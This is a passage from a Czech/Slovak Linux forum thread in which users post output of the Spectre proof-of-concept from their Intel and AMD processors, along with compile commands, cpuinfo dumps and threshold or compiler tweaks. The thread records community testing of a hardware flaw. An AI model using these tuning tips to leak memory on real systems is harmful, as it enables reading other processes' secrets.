    Reading at malicious_x = 0xffffffffffdfeb73... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
    Reading at malicious_x = 0xffffffffffdfeb74... Success: 0xB4=’e’ score=11 (second best: 0x19 score=3)
    Reading at malicious_x = 0xffffffffffdfeb75... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
    Reading at malicious_x = 0xffffffffffdfeb76... Success: 0xB4=’e’ score=13 (second best: 0x5B score=4)
    Reading at malicious_x = 0xffffffffffdfeb77... Success: 0xB4=’e’ score=15 (second best: 0x02 score=5)
    Reading at malicious_x = 0xffffffffffdfeb78... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
    Reading at malicious_x = 0xffffffffffdfeb79... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
    Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
    Reading at malicious_x = 0xffffffffffdfeb7c... Unclear: 0xB4=’e’ score=793 (second best: 0x0D score=402)
    Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0xB4=’e’ score=11 (second best: 0x18 score=3)
    Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0xB4=’e’ score=9 (second best: 0xA9 score=2)
    Reading at malicious_x = 0xffffffffffdfeb80... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
    Reading at malicious_x = 0xffffffffffdfeb81... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb82... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb83... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb84... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb85... Success: 0xB4=’e’ score=9 (second best: 0xC7 score=2)
    Reading at malicious_x = 0xffffffffffdfeb86... Success: 0xB4=’e’ score=9 (second best: 0xF6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb87... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb88... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb89... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
    Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
    Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
    Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0xB4=’e’ score=29 (second best: 0x0D score=12)
    Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0xB4=’e’ score=9 (second best: 0xD5 score=2)
    
    4.1. 22:34 HP Fan
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Skusil som https://repl.it/repls/DeliriousGreenOxpecker a tu je vysledok:
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
    Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=924 (second best: 0xD7 score=904)
    Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=933 (second best: 0x4D score=907)
    Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=936 (second best: 0x1F score=901)
    Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0xC4=’?’ score=907 (second best: 0xBF score=903)
    Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=924 (second best: 0x1B score=908)
    Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=917 (second best: 0x71 score=906)
    Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=945 (second best: 0xA2 score=907)
    Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=930 (second best: 0x7D score=913)
    Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=911 (second best: 0x7D score=908)
    Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=928 (second best: 0xE4 score=909)
    
    4.1. 22:38 HP Fan
    Rozbalit Rozbalit vše Re: Spectre na AMD
    s #define CACHE_HIT_THRESHOLD 80
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
    Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 
    
    
    4.1. 22:34 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na pentiu 4 se mi nepovedlo zkompilovat:
    gcc -march=native -std=c99 -O0 spectre.c -o spectre
    spectre.c: In function ‘readMemoryByte’:
    spectre.c:89: warning: implicit declaration of function ‘__rdtsc’
    spectre.c: In function ‘main’:
    spectre.c:136: warning: pointer/integer type mismatch in conditional expression
    /tmp/ccUxr4mh.o: In function `readMemoryByte':
    spectre.c:(.text+0x17a): undefined reference to `__rdtsc'
    spectre.c:(.text+0x192): undefined reference to `__rdtsc'
    collect2: ld returned 1 exit status
    
    Ještě to zítra můžu vyzkoušet na Ryzen 5 1600.
    4.1. 23:08 R
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Aku mas verziu gcc? Mne to s gcc 6.3 skompilovat ide, ale na P4 to nefunguje, precita to vzdy 0xff.
    4.1. 23:21 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    gcc --version gcc (Debian 4.4.5-8) 4.4.5
    5.1. 03:45 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na T7600 (první generace mobilního core2) jednak nejede rdtscp a jednak musím v mém kompilátoru přidat volbu -m32, pak funguje i volba -march=pentium4 . Volba -march=core2 ani -march=native nenajde skoro nic (občas je semtam hit, ale to může být random šum).
    gcc -m32 -march=pentium4 -O0 z48.c -o spectre
    # cat /proc/cpuinfo 
    processor	: 0
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 15
    model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
    stepping	: 6
    cpu MHz		: 2324.000
    cache size	: 4096 KB
    physical id	: 0
    siblings	: 2
    core id		: 0
    cpu cores	: 2
    apicid		: 0
    initial apicid	: 0
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 10
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
    bugs		:
    bogomips	: 4666.77
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 36 bits physical, 48 bits virtual
    power management:
    
    processor	: 1
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 15
    model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
    stepping	: 6
    cpu MHz		: 2324.000
    cache size	: 4096 KB
    physical id	: 0
    siblings	: 2
    core id		: 1
    cpu cores	: 2
    apicid		: 1
    initial apicid	: 1
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 10
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
    bugs		:
    bogomips	: 4665.96
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 36 bits physical, 48 bits virtual
    power management:
    
    By mě zajímalo zda to, že to pro 32bit kód v prostředí 64bit funguje a pro 64bit kód v 64bit prostředí nefunguje, je jiným zpracováním cache pro 32bit, nebo protože je ten kód prostě jen pro 32bit.

    Zkuste někdo, kdo má SMT porovnat rozdíl s a bez běžícího SMT. Při SMT trvá jedno vlákno déle, protože víc vláken soutěží o stejný počet prostředků. Pak bude buď delší doba než se dojde ke konci spekulativní větve (lehčí timing) a nebo bude spekulativní větev zkrácená, protože víc vláken (třeba kvůli TDP) a timing bude horší.

    5.1. 03:46 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Jo a to "c" by mělo být 'c', protože to je char a ne string.
    5.1. 09:23 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na AMD Ryzen 5 1600

    Linux RYZEN-01 4.13.0-16-generic #19-Ubuntu SMP Wed Oct 11 18:35:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    nikdo@RYZEN-01:~$ ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
    Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
    Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
    Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
    Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
    Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=2
    Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2
    Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=2
    Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71=’q’ score=2
    Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=2
    Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=2
    Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F=’O’ score=2
    Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66=’f’ score=2
    Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=2
    Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E=’.’ score=2
    
    5.1. 11:05 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Ve virtualboxu na T7400 (to samý jako můj T7600 výše) se to na systemrescueCD "povede" taky. Chtěl jsem ještě z legrace zkusit QEMU, ale ještě nenabootoval :-D.
    5.1. 11:09 MadCatX
    Rozbalit Rozbalit vše Re: Spectre na AMD
    i7-2820QM, Linux The-Raza 4.14.11-1-ARCH #1 SMP PREEMPT Funguje out of the box:)
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfedca... Unclear: 0x65=’e’ score=999 (second best: 0x30 score=954)
    Reading at malicious_x = 0xffffffffffdfedcb... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=966)
    Reading at malicious_x = 0xffffffffffdfedcc... Unclear: 0x4D=’M’ score=998 (second best: 0x95 score=959)
    Reading at malicious_x = 0xffffffffffdfedcd... Unclear: 0x61=’a’ score=999 (second best: 0x36 score=965)
    Reading at malicious_x = 0xffffffffffdfedce... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=963)
    Reading at malicious_x = 0xffffffffffdfedcf... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=918)
    Reading at malicious_x = 0xffffffffffdfedd0... Unclear: 0x63=’c’ score=999 (second best: 0x00 score=941)
    Reading at malicious_x = 0xffffffffffdfedd1... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=945)
    Reading at malicious_x = 0xffffffffffdfedd2... Unclear: 0x57=’W’ score=999 (second best: 0xAF score=960)
    Reading at malicious_x = 0xffffffffffdfedd3... Unclear: 0x6F=’o’ score=999 (second best: 0xAF score=966)
    Reading at malicious_x = 0xffffffffffdfedd4... Unclear: 0x72=’r’ score=999 (second best: 0xB4 score=960)
    Reading at malicious_x = 0xffffffffffdfedd5... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=967)
    Reading at malicious_x = 0xffffffffffdfedd6... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=960)
    Reading at malicious_x = 0xffffffffffdfedd7... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=961)
    Reading at malicious_x = 0xffffffffffdfedd8... Unclear: 0x61=’a’ score=999 (second best: 0xFD score=961)
    Reading at malicious_x = 0xffffffffffdfedd9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=963)
    Reading at malicious_x = 0xffffffffffdfedda... Unclear: 0x65=’e’ score=999 (second best: 0xAB score=956)
    Reading at malicious_x = 0xffffffffffdfeddb... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=929)
    Reading at malicious_x = 0xffffffffffdfeddc... Unclear: 0x53=’S’ score=999 (second best: 0xB4 score=947)
    Reading at malicious_x = 0xffffffffffdfeddd... Unclear: 0x71=’q’ score=999 (second best: 0xA8 score=964)
    Reading at malicious_x = 0xffffffffffdfedde... Unclear: 0x75=’u’ score=999 (second best: 0x55 score=968)
    Reading at malicious_x = 0xffffffffffdfeddf... Unclear: 0x65=’e’ score=999 (second best: 0xF0 score=964)
    Reading at malicious_x = 0xffffffffffdfede0... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=974)
    Reading at malicious_x = 0xffffffffffdfede1... Unclear: 0x6D=’m’ score=999 (second best: 0x9B score=962)
    Reading at malicious_x = 0xffffffffffdfede2... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=961)
    Reading at malicious_x = 0xffffffffffdfede3... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=963)
    Reading at malicious_x = 0xffffffffffdfede4... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=961)
    Reading at malicious_x = 0xffffffffffdfede5... Unclear: 0x20=’ ’ score=999 (second best: 0xEF score=958)
    Reading at malicious_x = 0xffffffffffdfede6... Unclear: 0x4F=’O’ score=999 (second best: 0x21 score=962)
    Reading at malicious_x = 0xffffffffffdfede7... Unclear: 0x73=’s’ score=999 (second best: 0xF3 score=963)
    Reading at malicious_x = 0xffffffffffdfede8... Unclear: 0x73=’s’ score=999 (second best: 0xF4 score=967)
    Reading at malicious_x = 0xffffffffffdfede9... Unclear: 0x69=’i’ score=999 (second best: 0x55 score=959)
    Reading at malicious_x = 0xffffffffffdfedea... Unclear: 0x66=’f’ score=998 (second best: 0xF4 score=965)
    Reading at malicious_x = 0xffffffffffdfedeb... Unclear: 0x72=’r’ score=998 (second best: 0xF5 score=968)
    Reading at malicious_x = 0xffffffffffdfedec... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=952)
    Reading at malicious_x = 0xffffffffffdfeded... Unclear: 0x67=’g’ score=999 (second best: 0x3E score=962)
    Reading at malicious_x = 0xffffffffffdfedee... Unclear: 0x65=’e’ score=999 (second best: 0x96 score=967)
    Reading at malicious_x = 0xffffffffffdfedef... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=966)
    
    5.1. 13:17 R
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na Athlone 64 3000+ to funguje bezchybne s rdtscp a thresholdom 80.
    5.1. 22:32 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    A bezchybně znamená, že to ten string najde (chyba HW/SW) nebo nenajde (HW/SW je OK)? :-D
    5.1. 16:17 goldenfish | skóre: 38 | blog: aqarium | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na AMD 1950X projde taky.

    gf
    Pavel Kysilka - www.linuxsoft.cz
    5.1. 16:33 PavelM
    Rozbalit Rozbalit vše Re: Spectre na AMD
    processor	: 3
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 37
    model name	: Intel(R) Core(TM) i7 CPU       M 620  @ 2.67GHz
    stepping	: 5
    microcode	: 0x4
    cpu MHz		: 2667.000
    cache size	: 4096 KB
    physical id	: 0
    siblings	: 4
    core id		: 2
    cpu cores	: 2
    apicid		: 5
    initial apicid	: 5
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 11
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 popcnt aes lahf_lm tpr_shadow vnmi flexpriority ept vpid dtherm ida arat
    bugs		:
    bogomips	: 5319.92
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 36 bits physical, 48 bits virtual
    power management:
    
    $ ./spectre2
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=7 (second best: 0xDE score=1)
    Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=4 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
    Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
    Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=9 (second best: 0x05 score=2)
    Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 
    
    5.1. 23:20 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Spectre na AMD
    processor       : 0
    vendor_id       : AuthenticAMD
    cpu family      : 21
    model           : 2
    model name      : AMD FX(tm)-6300 Six-Core Processor
    stepping        : 0
    microcode       : 0x600084f
    cpu MHz         : 1400.000
    gcc -march=bdver2 -std=c99 -O0 spectre.c -o spectre

    S patchem v #8 mi to vypisuje eeeeeeeeee...
    Quando omni flunkus moritati
    6.1. 12:45 MadCatX
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Pro úplnost další výsledky: i3-2120T, Linux ect228-srv.prfuk.natur.cuni.cz 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018
    Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=2 
    Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=7 (second best: 0xAF score=1)
    Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2 
